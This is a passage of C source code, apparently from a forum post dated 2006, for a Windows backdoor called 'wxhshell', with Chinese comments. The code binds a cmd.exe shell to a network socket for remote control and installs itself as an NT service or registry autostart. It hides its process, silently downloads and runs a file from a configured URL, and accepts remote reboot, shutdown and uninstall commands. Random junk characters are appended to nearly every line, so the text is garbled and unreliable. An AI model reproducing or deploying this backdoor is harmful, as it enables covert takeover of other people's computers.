  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TDw~sxtv&  
  } tD`^qMua  
  else { xDeM7L'  
{ccc[G?>.Q  
    switch(cmd[0]) { }Rz,}^B  
  ]]y>d!  
  // 帮助 Q>Ct]JW&  
  case '?': { OybmyGHY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `IlhLv  
    break; d7BpmM  
  } i;pg9Vw  
  // 安装 cAN8'S(s1  
  case 'i': { : F3UJ[V  
    if(Install()) Tp@Yn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@%rdrZ  
    else V}TPt6C2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] K&ca  
    break; G[e,7jev  
    } \4qF3#  
  // 卸载 FS8l}t  
  case 'r': { UxMy8} w!y  
    if(Uninstall()) <zY#qFQ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AHr^G'  
    else u gRyUny  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BO}IN#  
    break; SeZ+&d  
    } t,TlW^-  
  // 显示 wxhshell 所在路径 }^H(EHE  
  case 'p': { k6DJ(.n'%a  
    char svExeFile[MAX_PATH]; \1-lda  
    strcpy(svExeFile,"\n\r"); o1 27? ^  
      strcat(svExeFile,ExeFile); Jv 5l   
        send(wsh,svExeFile,strlen(svExeFile),0); p]X+#I<  
    break; iuqJPW^}  
    } Tq* <J~-  
  // 重启 j/O9LygB  
  case 'b': { sAO/yG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !p ~.Y+  
    if(Boot(REBOOT)) CBdr 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %iPIgma  
    else { fFC9:9<  
    closesocket(wsh); xP9R d/xa|  
    ExitThread(0); LDw.2E  
    } y+wy<[u  
    break; k^JgCC+  
    } RKMF?:  
  // 关机 h`Ej>O7m  
  case 'd': { EQ"_kJ>81Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?N+pWdi  
    if(Boot(SHUTDOWN)) N1E9w:T`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY~I=}  
    else { {?w *n_T.  
    closesocket(wsh); * XDe:A  
    ExitThread(0); K\RMX?YsP  
    } zB7 ^L^Y  
    break; ho#<?rh_  
    } @G=:@;  
  // 获取shell wko9tdC=U  
  case 's': { jA@ uV,w  
    CmdShell(wsh); =JTwH>fD  
    closesocket(wsh); Vl(id_~_  
    ExitThread(0); u,@ac[!vP  
    break; 7 mA3&<&q  
  } s)'+,lKw  
  // 退出 blG?("0!  
  case 'x': { #~rQ\A!4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <|3F('Q"  
    CloseIt(wsh); HA$7Q~{N-t  
    break; 2c,w 4rK  
    } (t"|XSF  
  // 离开 ( Q&jp!WU  
  case 'q': { &"1_n]JO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'L1yFv  
    closesocket(wsh); ncsk(`lo  
    WSACleanup(); m,4'@jg0  
    exit(1); ,F'y:px  
    break; w(M i?  
        }  W"~"R  
  } ! OVi\v 'm  
  } za.^vwkBk2  
=xH>,-8}  
  // 提示信息 xy)W_~Mk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *MWI`=c  
} -S@ ys  
  } lP(<4mdP  
xnZ  
  return; aXbj pb+  
} {!4ZRNy(k  
.?F`H[^)^u  
// shell模块句柄 Hw#yw g  
int CmdShell(SOCKET sock) TU| 0I  
{ JS >"j d#  
STARTUPINFO si; p:!FB8  
ZeroMemory(&si,sizeof(si)); ?G5,x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :bP <H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H[/^&1P  
PROCESS_INFORMATION ProcessInfo; kgX"I ?>d  
char cmdline[]="cmd"; B an" H~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Je#3   
  return 0; .6i +_B|  
} @^Kw\s  
p!(]`N   
// 自身启动模式 U,`F2yD/!  
int StartFromService(void) _ =(v? 2:?  
{ ;Ac!"_N?7  
typedef struct Fz$^CMw5K  
{ I]~UOl  
  DWORD ExitStatus; ]"vpCL  
  DWORD PebBaseAddress; WODgG@w  
  DWORD AffinityMask; Ed"p|5~  
  DWORD BasePriority; `$VnB  
  ULONG UniqueProcessId; {<Vw55)#0Q  
  ULONG InheritedFromUniqueProcessId; E-#}.}i5  
}   PROCESS_BASIC_INFORMATION; Xu[A,6  
sGJZG  
PROCNTQSIP NtQueryInformationProcess; 4Cf.%f9@  
yu'@gg(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R M`iOV,Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L8KMMYh[  
OmECvL'Z  
  HANDLE             hProcess; s !HOrhV  
  PROCESS_BASIC_INFORMATION pbi; KQrG|<J  
%y\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;[j)g,7{  
  if(NULL == hInst ) return 0; Mg {=(No  
5q.)K f+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ohB@ijC!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "[\TL#/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3gba~}c)  
140_WV?7  
  if (!NtQueryInformationProcess) return 0; <SNu`,/I  
Ne2eBmY}(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a"X9cU[  
  if(!hProcess) return 0; xAAwH@ +  
hdH}4W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;XGO@*V5T  
^/$bd4,z  
  CloseHandle(hProcess); sxU 0Fg   
`9p;LZC1K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4#w Z#}  
if(hProcess==NULL) return 0; .d%CD`8!  
B["C~aF  
HMODULE hMod; Ouc$M2m0!  
char procName[255]; 7,Q>>%/0P  
unsigned long cbNeeded; r/mKuGa]  
p6W|4_a?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *TP>)o  
qv$m5CJvK  
  CloseHandle(hProcess); >du|DZq  
a}/ A]mu  
if(strstr(procName,"services")) return 1; // 以服务启动 (<xl _L:*.  
v,A8Mk2s#  
  return 0; // 注册表启动 # Q61c  
} ._US8  
<GO 5}>}p8  
// 主模块 ppK`7J>Z  
int StartWxhshell(LPSTR lpCmdLine) #>dj!33  
{ RD0=\!w*5  
  SOCKET wsl; xh9Os <  
BOOL val=TRUE; ]}0QrD  
  int port=0; .V`N^ H:l  
  struct sockaddr_in door; N)^` 15w  
Ipyr+7/zJ  
  if(wscfg.ws_autoins) Install(); R*r;`x  
\d}>@@U&  
port=atoi(lpCmdLine); D $3Mg  
8t >nL  
if(port<=0) port=wscfg.ws_port; )@[##F2  
{>n\B~*,"C  
  WSADATA data; oA]rwa UX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` D={l29H  
}*s`R;B|,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =WM^i86  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K:(E"d;  
  door.sin_family = AF_INET; 'Uu!K!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I> BGp4AQ  
  door.sin_port = htons(port); aGq1 YOD[$  
VHqHG`}:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p;n"zr8U  
closesocket(wsl);  aK33bn'j  
return 1; (rm*KD"]  
} 1V:I }~\  
S^T ><C  
  if(listen(wsl,2) == INVALID_SOCKET) { K2 6`wt  
closesocket(wsl); hU6oWm  
return 1; t4v@d  
} =bJ7!&  
  Wxhshell(wsl); ^Fpc8D,  
  WSACleanup(); FS^~e-A  
R,dbq4xkl  
return 0; 7m:ZG  
,8 G6q_ud  
} uN8RG_Mb  
X R|U6bf]  
// 以NT服务方式启动 h0a|R4J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <\EJ:  
{ .bY R  
DWORD   status = 0; B;e (5y-  
  DWORD   specificError = 0xfffffff; Yhte&,D"  
o2~P vef  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A<''x'\/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U*4r<y9R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sOVU>tb\'  
  serviceStatus.dwWin32ExitCode     = 0; 7zq@T]  
  serviceStatus.dwServiceSpecificExitCode = 0; );;UA6CD  
  serviceStatus.dwCheckPoint       = 0; V:h7}T95  
  serviceStatus.dwWaitHint       = 0; /V GI@"^v  
!|Wf mU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rXP~k]tC  
  if (hServiceStatusHandle==0) return; 2F :8=_sA  
/mXxj93UA  
status = GetLastError(); )$ M2+_c  
  if (status!=NO_ERROR) lhC hk7l  
{ QQJf;p7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s  }Ql9  
    serviceStatus.dwCheckPoint       = 0; rCUGaf~  
    serviceStatus.dwWaitHint       = 0; Ad&VOh+0  
    serviceStatus.dwWin32ExitCode     = status; dTjDVq&Hz  
    serviceStatus.dwServiceSpecificExitCode = specificError; p(6 sN=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s'|t2`K("  
    return; H*e+ 2  
  } UmR4zGM}  
TV=K3F5)M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >x>/}`  
  serviceStatus.dwCheckPoint       = 0; m?kyAW'|  
  serviceStatus.dwWaitHint       = 0; y @S_CB 47  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6?'7`p  
} ,u>[cRqw  
Xv3pKf-K  
// 处理NT服务事件,比如:启动、停止 V';l H2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z&O6<=bg!  
{ C;j& Vbf  
switch(fdwControl) inip/&P?V  
{ l0C`teO  
case SERVICE_CONTROL_STOP: VD< z]@  
  serviceStatus.dwWin32ExitCode = 0; hHHQmK<r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Ja*T@ !h  
  serviceStatus.dwCheckPoint   = 0; bF6J>&]!  
  serviceStatus.dwWaitHint     = 0; AJm$(3?/D  
  { ^=5x1<a9$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J ZkQ/vp(  
  } z:4_f:70  
  return; :AS`1\ C  
case SERVICE_CONTROL_PAUSE: ()48>||  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2?SbkU/3|P  
  break; ^Kg n:l  
case SERVICE_CONTROL_CONTINUE: J>5rkR@/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a ydNSgu  
  break; x x4GP2  
case SERVICE_CONTROL_INTERROGATE: [}]yJ+)  
  break; vFB^h1k~.M  
}; 15hqoo9!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B0%=! &  
} N!Rt040.%  
Zskj?+1  
// 标准应用程序主函数 ~`C _B]3|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lm=;Y6'`N  
{ HC/z3b;  
U3N9O.VC  
// 获取操作系统版本 U(9_&sL  
OsIsNt=GetOsVer(); fjVy;qJ32S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,|B-Nq  
z V\+za,  
  // 从命令行安装 {eV8h}KIl  
  if(strpbrk(lpCmdLine,"iI")) Install(); o$buoGSPc  
fj)) Hnt(|  
  // 下载执行文件 Hddc-7s  
if(wscfg.ws_downexe) { O|~C qb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UhpJGO  
  WinExec(wscfg.ws_filenam,SW_HIDE); C!*.jvhT  
} 4G?^#+|^  
:#pdyJQ_  
if(!OsIsNt) { `}$o<CJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 yB2h/~+  
HideProc(); =y4dR#R(\  
StartWxhshell(lpCmdLine); Pp s-,*m  
} s:Ml\['x  
else <ZF|2  
  if(StartFromService()) Ch_rV+  
  // 以服务方式启动 U8w_C\Q  
  StartServiceCtrlDispatcher(DispatchTable); N);w~)MYh  
else /}(d'@8p  
  // 普通方式启动 )&Oc7\J,  
  StartWxhshell(lpCmdLine); ( %\7dxiK  
S@FO&o 0  
return 0; 3/@z4:p0R  
}
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只看该作者 1 发表于: 2006-10-10
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